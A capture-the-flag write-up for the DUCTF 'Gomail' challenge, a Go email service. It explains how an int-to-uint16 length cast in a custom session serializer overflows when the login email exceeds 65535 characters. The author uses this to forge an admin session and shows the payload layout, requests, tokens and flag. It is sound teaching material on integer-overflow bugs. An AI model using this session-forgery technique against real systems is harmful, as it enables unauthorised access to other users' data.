Gomail (137 Solves)

Getting started with the challenge, we're given a URL and the following source files.

├── Dockerfile
├── app
│   ├── go.mod
│   ├── go.sum
│   ├── handlers.go
│   ├── main.go
│   ├── middleware.go
│   ├── session
│   │   ├── claims.go
│   │   ├── claims_test.go
│   │   ├── session.go
│   │   └── session_test.go
│   └── util.go
└── docker-compose.yml

Going to the site we just get a 404 Not Found.

Request

GET / HTTP/2
Host: web-gomail-3f344244ceb2.2025.ductf.net

Response

HTTP/2 404 Not Found
Content-Type: text/plain
Date: Mon, 21 Jul 2025 08:24:23 GMT
Content-Length: 18

404 page not found

So lets jump straight into the source files we're given and see what's going on. The first thing I want to understand when looking at an application is the routing. Of course in this case, simply to understand what routes I should be requesting to reach some functionality. Looking at main.go we see some routes being defined.

func main() {
        r := gin.Default()
        r.Use(MaxBodyMiddleware(MaxBytes))
        r.Use(AttachSessionMiddleware())

        r.POST("/login", LoginHandler)
        r.GET("/emails", SessionMiddleware(), GetEmailsHandler)

        r.Run("0.0.0.0:1337")
}

Alright, looks like we've got /login and /emails. Before we jump into the weeds, I want to set up some 'normal' requests for each of these routes. Having a brief look at loginHandler and GetEmailsHandler I created the following standard requests.

/login Request

POST /login HTTP/1.1
Host: web-gomail-3f344244ceb2.2025.ductf.net
Content-Length: 46

{"email":"testing@test.com","password":"test"}

Response

HTTP/1.1 200 OK
...snip...

{"token":"H4sIAAAAAAAA_xJgKEktLsnMS3cA0XrJ-bmb_OozGBgYGNIAAQAA__-otIcuGwAAAA==.Chu17AzBc3RPgAgJkHWPRyb2QAVNB7B7zyIv9AQPuEE="}

/emails Request

GET /emails HTTP/1.1
Host: web-gomail-3f344244ceb2.2025.ductf.net
X-Auth-Token: H4sIAAAAAAAA_xJgKEktLsnMS3cA0XrJ-bmb_OozGBgYGNIAAQAA__-otIcuGwAAAA==.Chu17AzBc3RPgAgJkHWPRyb2QAVNB7B7zyIv9AQPuEE=

Response

HTTP/1.1 200 OK
...snip...

{"emails":[{"from":"mc-fat@monke.zip","to":"guest","subject":"Noice Try Hacker","data":"Hey hacker,\n\nTold ya you can't hack into my private email server. I have this locked down ya donke.\n\t\t"}]}

Just from this behaviour we can already guess that we'll be trying to get access to an email that we're not supposed to be able to access. We can confirm this by searching the source for where the flag is stored. In handlers.go, we see the following code.

var fatMonkeEmail = "mc-fat@monke.zip"
var guestEmail = "guest"

// ...snip...

var emails = map[string][]email{
	fatMonkeEmail: {
		email{
			From:    "admin@duc.tf",
			To:      fatMonkeEmail,
			Subject: "Your New Challenge Flag",
			Data: fmt.Sprintf(`Hey MC Fat Monke,

We heard once again you accidentally leaked your flag for your last challenge...

Bruh stop doing that...

Here is your new flag for your challenge, please stop leaking it...

Flag: %s

From DUCTF Admin
`, GetEnvWithDefault("FLAG", "FAKE{get_the_flag_from_the_instance}")),
		},
	},
	guestEmail: {
		email{
			From:    "mc-fat@monke.zip",
			To:      guestEmail,
			Subject: "Noice Try Hacker",
			Data: `Hey hacker,

Told ya you can't hack into my private email server. I have this locked down ya donke.
		`,
		}},
}

As we expected, the flag is inside another email. Looking at the handler for /emails we can get an idea of how the application decides which email should be returned.

func GetEmailsHandler(c *gin.Context) {
	scr, exists := c.Get("sessionclaims")
	if !exists {
		c.JSON(http.StatusInternalServerError, gin.H{
			"error": "could not get session handler",
		})
		return
	}

	sc := scr.(session.SessionClaims)

	email := sc.Email
	iA := sc.IsAdmin
	if !iA {
		email = guestEmail
	}
	c.JSON(http.StatusOK, gin.H{
		"emails": emails[email],
	})
}

Reading this code, it looks like the application retrieves our Email and IsAdmin claims from our session and then returns emails based on that information. From this, we gather that there's two conditions we'd have to meet to access the flag through this route.

  1. Our Email session claim must equal mc-fat@monke.zip (as we saw earlier, this is the email address that the flag was sent too).
  2. Our IsAdmin claim must be True. If it's False, we're forced into the guest context, which will not return the flag.

Clearly we need to understand how sessions are being handled. Looking into session.go and claims.go, we get the following high-level understanding of the session handling.

The following snippet shows the code in claims.go that is responsible for reading the Email and IsAdmin data from the session.

func (ss *SessionSerializer) readEmail() (email string, err error) {
	l, err := ss.readLength()
	if err != nil {
		return "", err
	}
	eb, err := ss.readBytes(l)
	if err != nil {
		return "", err
	}
	return string(eb), err
}

func (ss *SessionSerializer) readIsAdmin() (isAdmin bool, err error) {
	iab, err := ss.readBytes(1)
	if err != nil {
		return false, err
	}
	return string(iab) == boolTrue, nil
}

Reading this code (and a bit of surrounding code that I've ommited), we understand that:

Since we're going to be interested in these reads during testing, I added a couple of lines of Go to my local instance that prints the values as they're read. This is an important step for any challenge that provides you with a deployable local instance, you must always try to use it to your advantage!

Anyway, with all the context we've gathered, we understand that we really only have control over one important thing here, which is our email during login. My initial approach to testing this input was based on how sessions were being handled. There's a bunch of manual byte reads and writes, custom serialisation, and custom session handling. In these situations I like to start by testing the edge cases, the upper and lower most boundaries of the functionality. As a start, I tried logging in with a very large email, just to see how big we could go and if it would cause any errors or noticable issues we could investigate.

Request


POST /login HTTP/1.1
...snip...

{"email":"testing@test.comAAAA[...snip...]AAAA"}

Response

HTTP/1.1 200 OK
...snip...

{"token":"H4sIAAAAAAAA_-zFTRFAUAAGwC-BKDIQxRh_Bxy8ADoR0Mjxdi_7DmW6ynYs3X87nnsPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlWiee02S-QsAAP__Q95sC79hAQA=.VzTsW5LrtPKuux8WYmYOS5StuNuVDOEzNt8aq5YJuSs="}

Now, unfortunately, after using this token to view /emails and looking at my logs, the logs were messy (I was also printing the raw bytes of the session at the time), which meant that I didn't notice anything super weird happening. For the readers sake, I'll skip the one hour detour I took here thinking that there was no issue. When I eventually tried this request again later (with cleaner logging), I noticed the following output.

Admin:  [65]

This debug output was tracking what value was read from the IsAdmin claim. The typical values for IsAdmin were either f (ASCII 102) or t (ASCII 116), as below.

const (
	boolTrue  = "t"
	boolFalse = "f"
)

However here we were reading a value of A (ASCII 65)! This weirdness was obviously caused by our email input, so taking a look back at how the application writes our email to the session, we see the following code.

func (ss *SessionSerializer) writeEmail(email string) {
	ss.writeLength(len(email))
	ss.buf.WriteString(email)
}

This code seems pretty straight forward; write the length of the email into the first two bytes of the session and then write the email. Looking into the writeLength call however, we notice something strange.

func (ss *SessionSerializer) writeLength(l int) {
	el := uint16(l) // int -> uint16
	ss.growBuf( 2)
	bs := make([]byte, 2)
	binary.LittleEndian.PutUint16(bs, el)
	ss.buf.Write(bs)
}

The length of our email is being cast from type int to type uint16. This is dangerous because the application is trying to squeeze an integer (32 bit or 64 bit) into a 16 bit data type, which could lead to an unexpected overflow. To illustrate this, I've written the below Go.

fmt.Println(math.MaxInt32) // OUTPUTS: 2147483647
fmt.Println(math.MaxUint16) // OUTPUTS: 65535

var number int = 65535

fmt.Println(uint16(number)) // OUTPUTS 65535
fmt.Println(uint16(number+1)) // OUTPUTS 0
fmt.Println(uint16(number+2)) // OUTPUTS 1

From this, we can see that any attempt to store a number higher than 65535 in a uint16 will cause an overflow, starting us back at 0 and incrementing from there. In the context of the challenge, this means that when we login with an email longer than 65535 characters the 2 byte length variable at the start of the session gets overflown, allowing us to control the sessions understanding of how long our email really is.

This is exploitable because the session relies on knowing the length of our email to determine where the values of other claims are located. To make this clearer, the below snippet describes again how claim values are retrieved.

SESSION: LENGTH, EMAIL, EXPIRY, ISADMIN

LENGTH = First two bytes.
EMAIL = The next LENGTH number of bytes.
EXPIRY = The next 8 bytes after the EMAIL.
ISADMIN = The next 1 byte after the EXPIRY.

With this knowledge, lets revisit the conditions we need to meet to get the flag:

  1. Our Email claim must equal mc-fat@monke.zip.
  2. Our IsAdmin claim must be True.

We know that we can control both of these fields with our integer overflow, so the plan is laid out below.

       65535        +        16              +              1 
       ^^^^^                 ^^                             ^
(max `uint16` value) (length of `mc-fat@monke.zip`) (because when we overflow, we start at 0)
LENGTH = 16 (as a result of our overflow)
EMAIL = mc-fat@monke.zip
EXPIRY = The 8 bytes following mc-fat@monke.zip in our payload
ISADMIN = The 9th byte following mc-fat@monke.zip in our payload

16+9 = 25 (the position where ISADMIN will be read from)

Using this to build out the final payload, we end up with the following request.

Request

POST /login HTTP/1.1
...snip...

{"email":"mc-fat@monke.zipAAAAAAAAt< 65527 more A's >","password":"test"}

Response

HTTP/1.1 200 OK
...snip...

{"token":"H4sIAAAAAAAA_-zAwQ1AMBQA0D-CJRyZQUcR0RApDj1ZwNoutuh7XZRlyHOdynUe6_jsd_rVBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQMuif7eIiPwFAAD__3VO8MkbAAEA.-Nf2dUXbhxUF7hRROuzSBdUaZJIlxvP8A4797j7uBMg="}

We can then use the token to list our emails and get the flag!

Request

GET /emails HTTP/2
X-Auth-Token: H4sIAAAAAAAA_-zAwQ1AMBQA0D-CJRyZQUcR0RApDj1ZwNoutuh7XZRlyHOdynUe6_jsd_rVBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQMuif7eIiPwFAAD__3VO8MkbAAEA.-Nf2dUXbhxUF7hRROuzSBdUaZJIlxvP8A4797j7uBMg=
...snip...

Response

HTTP/2 200 OK
...snip...
{
  "emails": [
    {
      "from": "admin@duc.tf",
      "to": "mc-fat@monke.zip",
      "subject": "Your New Challenge Flag",
      "data": "Hey MC Fat Monke,[...snip...]Flag: DUCTF{g0v3rFloW_2_mY_eM41L5!}From DUCTF Admin"
    }
  ]
}

Notes

[*1] readBytes uses buf.Read, which removes the bytes from the buffer as they're read. The readIsAdmin method is called after every other claim has been read, so when it reads one byte here, it is reading the final byte in the buffer.